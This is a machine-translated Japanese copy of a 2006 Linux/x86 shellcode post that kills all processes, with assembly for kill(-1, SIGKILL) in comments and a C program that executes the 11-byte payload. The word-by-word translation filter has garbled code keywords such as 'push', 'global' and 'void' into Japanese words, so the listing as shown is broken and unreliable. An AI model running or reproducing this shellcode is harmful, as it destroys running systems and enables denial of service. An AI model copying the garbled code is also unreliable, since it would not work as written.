このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/x86 - kill all 過程s - 11 bytes
/* By Kris Katterjohn 11/13/2006
 *
 * 11 byte shellcode to kill all 過程s for Linux/x86
 *
 *
 *
 * section .text
 *
 *      全世界の _start
 *
 * _start:
 *
 * ; kill(-1, SIGKILL)
 *
 *      押し進める byte 37
 *      pop eax
 *      押し進める byte -1
 *      pop ebx
 *      押し進める byte 9
 *      pop ecx
 *      int 0x80
 */

main()
{
       char shellcode[] = "\x6a\x25\x58\x6a\xff\x5b\x6a\x09\x59\xcd\x80";

       (*(無効の (*)()) shellcode)();
}